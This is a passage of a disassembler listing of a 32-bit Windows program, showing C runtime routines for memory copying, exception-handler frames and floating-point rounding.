loc_41C4F4:				; CODE XREF: sub_41C310+1D6j
					; DATA XREF: sub_41C310+1DDr
		jmp	off_41C5F0[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		or	ch, al
		inc	ecx
		add	[eax], ch
		lds	eax, [ecx+0]
		push	eax
		lds	eax, [ecx+0]
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41C4D0
		std
		rep movsd
		cld
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 4
		movsb
		lds	eax, [ecx+0]
		lodsb
		lds	eax, [ecx+0]
		mov	ah, 0C5h
		inc	ecx
		add	[ebp+eax*8-3A3BFFBFh], bh
		inc	ecx
		add	ah, cl
		lds	eax, [ecx+0]
		aam	0C5h
		inc	ecx


loc_41C59F:				; DATA XREF: sub_41C310+1C2r
		add	bh, ah
		lds	eax, [ecx+0]
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41C5E7:				; CODE XREF: sub_41C310+1C2j
		jmp	off_41C5F0[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41C5F0	dd offset loc_41C600	; DATA XREF: sub_41C310+1B7r
					; sub_41C310:loc_41C4F4r ...
		dd offset loc_41C608
		dd offset loc_41C618
		dd offset loc_41C62C
; ---------------------------------------------------------------------------


loc_41C600:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C608:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C618:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41C62C:				; CODE XREF: sub_41C310+1B7j
					; sub_41C310:loc_41C4F4j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41C310	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C645	proc near		; CODE XREF: sub_40BFEC+40p
					; ___:0040E2A0p

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_14], 49h
		push	eax
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		call	sub_41AFE0
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_20]
		push	[ebp+arg_4]
		push	eax
		call	sub_420510
		add	esp, 10h
		leave
		retn
sub_41C645	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C679(double)

sub_41C679	proc near		; CODE XREF: sub_40D031+38p

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A970
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C6FF
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C6E2
		cmp	eax, 2
		jle	short loc_41C6D4
		cmp	eax, 3
		jnz	short loc_41C6E2
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Bh		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6D4:				; CODE XREF: sub_41C679+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C6E2:				; CODE XREF: sub_41C679+3Aj
					; sub_41C679+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Bh
		push	8
		jmp	short loc_41C73C
; ---------------------------------------------------------------------------


loc_41C6FF:				; CODE XREF: sub_41C679+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C722


loc_41C714:				; CODE XREF: sub_41C679+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C744
; ---------------------------------------------------------------------------


loc_41C722:				; CODE XREF: sub_41C679+99j
		test	bl, 20h
		jnz	short loc_41C714
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Bh		; int
		push	10h		; int


loc_41C73C:				; CODE XREF: sub_41C679+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C744:				; CODE XREF: sub_41C679+59j
					; sub_41C679+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C679	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C748	proc near		; CODE XREF: ___:0041B78Dp
					; sub_4218B2+21p
					; DATA XREF: ...
		call	sub_41C760
		call	sub_4218B2
		mov	dword_4DB9AC, eax
		call	sub_421862
		fnclex
		retn
sub_41C748	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_41C760	proc near		; CODE XREF: sub_41C748p
		mov	eax, offset sub_421CA0
		mov	off_43CF84, offset sub_421935
		mov	off_43CF80, eax
		mov	off_43CF88, offset sub_42199B
		mov	off_43CF8C, offset sub_4218DB
		mov	off_43CF90, offset sub_421983
		mov	off_43CF94, eax
		retn
sub_41C760	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C798	proc near		; CODE XREF: sub_40D031+1Bp
					; sub_40D031+44p ...

var_C		= qword	ptr -0Ch
var_4		= word ptr -4
var_2		= word ptr -2

		push	ebp
		mov	ebp, esp
		add	esp, 0FFFFFFF4h
		fstcw	[ebp+var_2]
		wait
		mov	ax, [ebp+var_2]
		or	ah, 0Ch
		mov	[ebp+var_4], ax
		fldcw	[ebp+var_4]
		fistp	[ebp+var_C]
		fldcw	[ebp+var_2]
		mov	eax, dword ptr [ebp+var_C]
		mov	edx, dword ptr [ebp+var_C+4]
		leave
		retn
sub_41C798	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_41C7BF(double)

sub_41C7BF	proc near		; CODE XREF: sub_40D07D+82p
					; ___:0040DD3Dp

var_24		= qword	ptr -24h
var_18		= qword	ptr -18h
var_8		= qword	ptr -8
arg_0		= qword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, 0FFFFh
		push	esi
		push	dword_43A988
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		mov	ebx, eax
		mov	eax, dword ptr [ebp+arg_0+6]
		pop	ecx
		push	ecx
		and	ax, 7FF0h
		push	ecx
		cmp	ax, 7FF0h
		fstp	[esp+18h+var_18]
		jnz	short loc_41C845
		call	sub_4216B1
		pop	ecx
		test	eax, eax
		pop	ecx
		jle	short loc_41C828
		cmp	eax, 2
		jle	short loc_41C81A
		cmp	eax, 3
		jnz	short loc_41C828
		fld	[ebp+arg_0]
		push	ebx
		push	ecx		; int
		push	ecx
		fstp	qword ptr [esp]
		push	0Ch		; double
		call	sub_420FC1
		add	esp, 10h
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C81A:				; CODE XREF: sub_41C7BF+3Fj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+arg_0]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C828:				; CODE XREF: sub_41C7BF+3Aj
					; sub_41C7BF+44j
		fld	[ebp+arg_0]
		fadd	dbl_427710
		push	ebx
		push	ecx		; double
		push	ecx
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx
		fstp	[esp+24h+var_24]
		push	0Ch
		push	8
		jmp	short loc_41C882
; ---------------------------------------------------------------------------


loc_41C845:				; CODE XREF: sub_41C7BF+2Fj
		call	sub_421676
		fstp	[ebp+var_8]
		fld	[ebp+var_8]
		fcomp	[ebp+arg_0]
		pop	ecx
		pop	ecx
		fnstsw	ax
		sahf
		jnz	short loc_41C868


loc_41C85A:				; CODE XREF: sub_41C7BF+ACj
		push	esi
		push	ebx
		call	sub_4217E9
		fld	[ebp+var_8]
		pop	ecx
		pop	ecx
		jmp	short loc_41C88A
; ---------------------------------------------------------------------------


loc_41C868:				; CODE XREF: sub_41C7BF+99j
		test	bl, 20h
		jnz	short loc_41C85A
		fld	[ebp+var_8]
		push	ebx		; int
		push	ecx
		push	ecx		; double
		fstp	qword ptr [esp]
		fld	[ebp+arg_0]
		push	ecx
		push	ecx		; double
		fstp	[esp+24h+var_24]
		push	0Ch		; int
		push	10h		; int


loc_41C882:				; CODE XREF: sub_41C7BF+84j
		call	sub_421014
		add	esp, 1Ch


loc_41C88A:				; CODE XREF: sub_41C7BF+59j
					; sub_41C7BF+67j ...
		pop	esi
		pop	ebx
		leave
		retn
sub_41C7BF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C88E	proc near		; CODE XREF: ___:00422182p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, [ebp+arg_4]
		add	eax, 0Ch
		mov	[ebp+var_4], eax
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	large fs:0, eax
		mov	eax, [ebp+arg_0]
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx-4]
		mov	ebp, [ebp+var_4]
		jmp	eax
sub_41C88E	endp

; ---------------------------------------------------------------------------
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8

; =============== S U B	R O U T	I N E =======================================



sub_41C8C2	proc near		; CODE XREF: sub_4222C2+199p
					; sub_422486+3Ep

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41C8C9	proc near		; CODE XREF: sub_4222C2+17Fp

arg_4		= dword	ptr  8

		pop	eax
		pop	ecx
		xchg	eax, [esp-8+arg_4]
		jmp	eax
sub_41C8C9	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41C8D0	proc near		; CODE XREF: sub_41CA82+5Cp
					; sub_422111:loc_422142p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	eax, large fs:0
		mov	[ebp+var_8], eax
		mov	[ebp+var_4], offset loc_41C8F8
		push	0
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	[ebp+arg_0]
		call	sub_42675C
sub_41C8D0	endp

; ---------------------------------------------------------------------------


loc_41C8F8:				; DATA XREF: sub_41C8D0+11o
		mov	eax, [ebp+0Ch]
		mov	eax, [eax+4]
		and	al, 0FDh
		mov	ecx, [ebp+0Ch]
		mov	[ecx+4], eax
		mov	eax, large fs:0
		mov	ebx, [ebp-8]
		mov	[ebx], eax
		mov	large fs:0, ebx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	8
; ---------------------------------------------------------------------------


loc_41C91F:				; CODE XREF: ___:00426DFCj
					; ___:00426E19j ...
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		push	ebx
		push	esi
		push	edi
		cld
		mov	[ebp-4], eax
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	dword ptr [ebp-4]
		push	dword ptr [ebp+14h]
		push	dword ptr [ebp+10h]
		push	dword ptr [ebp+0Ch]
		push	dword ptr [ebp+8]
		call	sub_421D16
		add	esp, 20h
		mov	[ebp+14h], eax
		pop	edi
		pop	esi
		pop	ebx
		mov	eax, [ebp+14h]
		mov	esp, ebp
		pop	ebp
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C955	proc near		; CODE XREF: sub_42218C+73p

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		mov	eax, [ebp+arg_4]
		and	[ebp+var_14], 0
		mov	ecx, [ebp+arg_0]
		mov	[ebp+var_C], eax
		mov	eax, [ebp+arg_C]
		mov	[ebp+var_10], offset sub_41C9A9
		inc	eax
		mov	[ebp+var_8], ecx
		mov	[ebp+var_4], eax
		mov	eax, large fs:0
		mov	[ebp+var_14], eax
		lea	eax, [ebp+var_14]
		mov	large fs:0, eax
		push	[ebp+arg_10]
		push	ecx
		push	[ebp+arg_8]
		call	sub_422510
		mov	ecx, eax
		mov	eax, [ebp+var_14]
		mov	large fs:0, eax
		mov	eax, ecx
		leave
		retn
sub_41C955	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9A9	proc near		; DATA XREF: sub_41C955+16o

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cld
		mov	eax, [ebp+arg_4]
		push	0
		push	eax
		push	dword ptr [eax+10h]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		pop	ebp
		retn
sub_41C9A9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C9CE	proc near		; CODE XREF: sub_421F58+25p

var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		and	[ebp+var_28], 0
		mov	[ebp+var_24], offset sub_41CA82
		mov	eax, [ebp+arg_10]
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_1C], eax
		mov	eax, [ebp+arg_14]
		mov	[ebp+var_18], eax
		mov	eax, [ebp+arg_18]
		mov	[ebp+var_14], eax
		and	[ebp+var_10], 0
		and	[ebp+var_C], 0
		and	[ebp+var_8], 0
		and	[ebp+var_4], 0
		mov	[ebp+var_10], offset loc_41CA54
		mov	[ebp+var_C], esp
		mov	[ebp+var_8], ebp
		mov	eax, large fs:0
		mov	[ebp+var_28], eax
		lea	eax, [ebp+var_28]
		mov	large fs:0, eax
		mov	[ebp+var_34], 1
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_30], eax
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_2C], eax
		lea	eax, [ebp+var_30]
		push	eax
		mov	eax, [ebp+arg_0]
		push	dword ptr [eax]
		call	dword_4DBA04
		pop	ecx
		pop	ecx
		and	[ebp+var_34], 0


loc_41CA54:				; DATA XREF: sub_41C9CE+3Co
		cmp	[ebp+var_4], 0
		jz	short loc_41CA71
		mov	ebx, large fs:0
		mov	eax, [ebx]
		mov	ebx, [ebp+var_28]
		mov	[ebx], eax
		mov	large fs:0, ebx
		jmp	short loc_41CA7A
; ---------------------------------------------------------------------------


loc_41CA71:				; CODE XREF: sub_41C9CE+8Aj
		mov	eax, [ebp+var_28]
		mov	large fs:0, eax


loc_41CA7A:				; CODE XREF: sub_41C9CE+A1j
		mov	eax, [ebp+var_34]
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41C9CE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CA82	proc near		; DATA XREF: sub_41C9CE+Do

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		cld
		mov	eax, [ebp+arg_0]
		mov	eax, [eax+4]
		and	eax, 66h
		test	eax, eax
		jz	short loc_41CAA5
		mov	eax, [ebp+arg_4]
		mov	dword ptr [eax+24h], 1
		push	1
		pop	eax
		jmp	short loc_41CAF2
; ---------------------------------------------------------------------------


loc_41CAA5:				; CODE XREF: sub_41CA82+12j
		push	1
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+14h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+10h]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+8]
		push	0
		push	[ebp+arg_8]
		mov	eax, [ebp+arg_4]
		push	dword ptr [eax+0Ch]
		push	[ebp+arg_0]
		call	sub_421D16
		add	esp, 20h
		mov	eax, [ebp+arg_4]
		cmp	dword ptr [eax+24h], 0
		jnz	short loc_41CAE3
		push	[ebp+arg_0]
		push	[ebp+arg_4]
		call	sub_41C8D0
; ---------------------------------------------------------------------------


loc_41CAE3:				; CODE XREF: sub_41CA82+54j
		mov	ebx, [ebp+arg_4]
		mov	esp, [ebx+1Ch]
		mov	ebp, [ebx+20h]
		jmp	dword ptr [ebx+18h]
; ---------------------------------------------------------------------------
		push	1
		pop	eax


loc_41CAF2:				; CODE XREF: sub_41CA82+21j
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41CA82	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CAF7	proc near		; CODE XREF: sub_421DB1+C6p
					; sub_421F58+43p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		cmp	[ebp+arg_4], 0
		push	edi
		mov	edi, [ebp+arg_0]
		mov	esi, [edi+0Ch]
		mov	ebx, [edi+10h]
		mov	eax, esi
		mov	[ebp+arg_0], esi
		mov	[ebp+var_4], eax
		jl	short loc_41CB4E


loc_41CB15:				; CODE XREF: sub_41CAF7+52j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB1F
		call	sub_4225B2


loc_41CB1F:				; CODE XREF: sub_41CAF7+21j
		mov	ecx, [ebp+arg_8]
		dec	esi
		lea	eax, [esi+esi*4]
		cmp	[ebx+eax*4+4], ecx
		lea	eax, [ebx+eax*4]
		jge	short loc_41CB34
		cmp	ecx, [eax+8]
		jle	short loc_41CB39


loc_41CB34:				; CODE XREF: sub_41CAF7+36j
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41CB45


loc_41CB39:				; CODE XREF: sub_41CAF7+3Bj
		mov	eax, [ebp+arg_0]
		dec	[ebp+arg_4]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_0], esi


loc_41CB45:				; CODE XREF: sub_41CAF7+40j
		cmp	[ebp+arg_4], 0
		jge	short loc_41CB15
		mov	eax, [ebp+var_4]


loc_41CB4E:				; CODE XREF: sub_41CAF7+1Cj
		mov	ecx, [ebp+arg_C]
		inc	esi
		mov	[ecx], esi
		mov	ecx, [ebp+arg_10]
		mov	[ecx], eax
		cmp	eax, [edi+0Ch]
		ja	short loc_41CB62
		cmp	esi, eax
		jbe	short loc_41CB67


loc_41CB62:				; CODE XREF: sub_41CAF7+65j
		call	sub_4225B2


loc_41CB67:				; CODE XREF: sub_41CAF7+69j
		lea	eax, [esi+esi*4]
		pop	edi
		pop	esi
		lea	eax, [ebx+eax*4]
		pop	ebx
		leave
		retn
sub_41CAF7	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_41CB74	proc near		; CODE XREF: sub_4234B8+5Ap

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		push	edi
		push	ebp
		push	0
		push	0
		push	offset sub_41CB8C
		push	[ebp+arg_0]
		call	sub_42675C
sub_41CB74	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CB8C	proc near		; DATA XREF: sub_41CB74+Bo
		pop	ebp
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41CB8C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CB94	proc near		; DATA XREF: sub_41CBB6+Ao
					; sub_41CC1E+9o

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_C		= dword	ptr  10h

		mov	ecx, [esp+arg_0]
		test	dword ptr [ecx+4], 6
		mov	eax, 1
		jz	short locret_41CBB5
		mov	eax, [esp+arg_4]
		mov	edx, [esp+arg_C]
		mov	[edx], eax
		mov	eax, 3

locret_41CBB5:				; CODE XREF: sub_41CB94+10j
		retn
sub_41CB94	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CBB6	proc near		; CODE XREF: sub_422232+Dp
					; sub_4234B8+67p ...

var_14		= dword	ptr -14h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		push	esi
		push	edi
		mov	eax, [esp+0Ch+arg_0]
		push	eax
		push	0FFFFFFFEh
		push	offset sub_41CB94
		push	large dword ptr	fs:0
		mov	large fs:0, esp


loc_41CBD3:				; CODE XREF: sub_41CBB6:loc_41CC0Ej
		mov	eax, [esp+1Ch+arg_0]
		mov	ebx, [eax+8]
		mov	esi, [eax+0Ch]
		cmp	esi, 0FFFFFFFFh
		jz	short loc_41CC10
		cmp	esi, [esp+1Ch+arg_4]
		jz	short loc_41CC10
		lea	esi, [esi+esi*2]
		mov	ecx, [ebx+esi*4]
		mov	[esp+1Ch+var_14], ecx
		mov	[eax+0Ch], ecx
		cmp	dword ptr [ebx+esi*4+4], 0
		jnz	short loc_41CC0E
		push	101h
		mov	eax, [ebx+esi*4+8]
		call	sub_41CC4A
		call	dword ptr [ebx+esi*4+8]


loc_41CC0E:				; CODE XREF: sub_41CBB6+44j
		jmp	short loc_41CBD3
; ---------------------------------------------------------------------------


loc_41CC10:				; CODE XREF: sub_41CBB6+2Aj
					; sub_41CBB6+30j
		pop	large dword ptr	fs:0
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41CBB6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC1E	proc near		; CODE XREF: sub_422252+37p
		xor	eax, eax
		mov	ecx, large fs:0
		cmp	dword ptr [ecx+4], offset sub_41CB94
		jnz	short locret_41CC40
		mov	edx, [ecx+0Ch]
		mov	edx, [edx+0Ch]
		cmp	[ecx+8], edx
		jnz	short locret_41CC40
		mov	eax, 1

locret_41CC40:				; CODE XREF: sub_41CC1E+10j
					; sub_41CC1E+1Bj
		retn
sub_41CC1E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC41	proc near		; CODE XREF: sub_422510+1Ep
					; sub_422510+40p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		jmp	short loc_41CC54
sub_41CC41	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CC4A	proc near		; CODE XREF: sub_41CBB6+4Fp
					; sub_4234B8+78p
		push	ebx
		push	ecx
		mov	ebx, offset dword_43A98C
		mov	ecx, [ebp+8]


loc_41CC54:				; CODE XREF: sub_41CC41+7j
		mov	[ebx+8], ecx
		mov	[ebx+4], eax
		mov	[ebx+0Ch], ebp
		pop	ecx
		pop	ebx
		retn	4
sub_41CC4A	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_41CC64	proc near		; CODE XREF: sub_40D07D+5p
					; sub_40D21F+5p ...
		push	0FFFFFFFFh
		push	eax
		mov	eax, large fs:0
		push	eax
		mov	eax, [esp+0Ch]
		mov	large fs:0, esp
		mov	[esp+0Ch], ebp
		lea	ebp, [esp+0Ch]
		push	eax
		retn
sub_41CC64	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41CC83	proc near		; CODE XREF: sub_40D6B4+26p
					; ___:004264F2p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41B0B1
		pop	ecx
		retn
sub_41CC83	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41CC90	proc near		; CODE XREF: sub_40D725+3Ap
					; sub_41DEA2+2EFp ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		mov	esi, [ebp+arg_4]
		mov	ecx, [ebp+arg_8]
		mov	edi, [ebp+arg_0]
		mov	eax, ecx
		mov	edx, ecx
		add	eax, esi
		cmp	edi, esi
		jbe	short loc_41CCB0
		cmp	edi, eax
		jb	loc_41CE28


loc_41CCB0:				; CODE XREF: sub_41CC90+16j
		test	edi, 3
		jnz	short loc_41CCCC
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------


loc_41CCCC:				; CODE XREF: sub_41CC90+26j
		mov	eax, edi
		mov	edx, 3
		sub	ecx, 4
		jb	short loc_41CCE4
		and	eax, 3
		add	ecx, eax
		jmp	dword ptr loc_41CCEC+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CCE4:				; CODE XREF: sub_41CC90+46j
		jmp	dword ptr loc_41CDE8[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CCEC:				; CODE XREF: sub_41CC90+31j
					; sub_41CC90+8Ej ...
		jmp	off_41CD6C[ecx*4]
; ---------------------------------------------------------------------------
		db 90h
		dd offset loc_41CD00
		dd offset loc_41CD2C
		dd offset loc_41CD50
; ---------------------------------------------------------------------------


loc_41CD00:				; DATA XREF: sub_41CC90+64o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		add	esi, 3
		add	edi, 3
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CD2C:				; DATA XREF: sub_41CC90+68o
		and	edx, ecx
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		add	esi, 2
		add	edi, 2
		cmp	ecx, 8
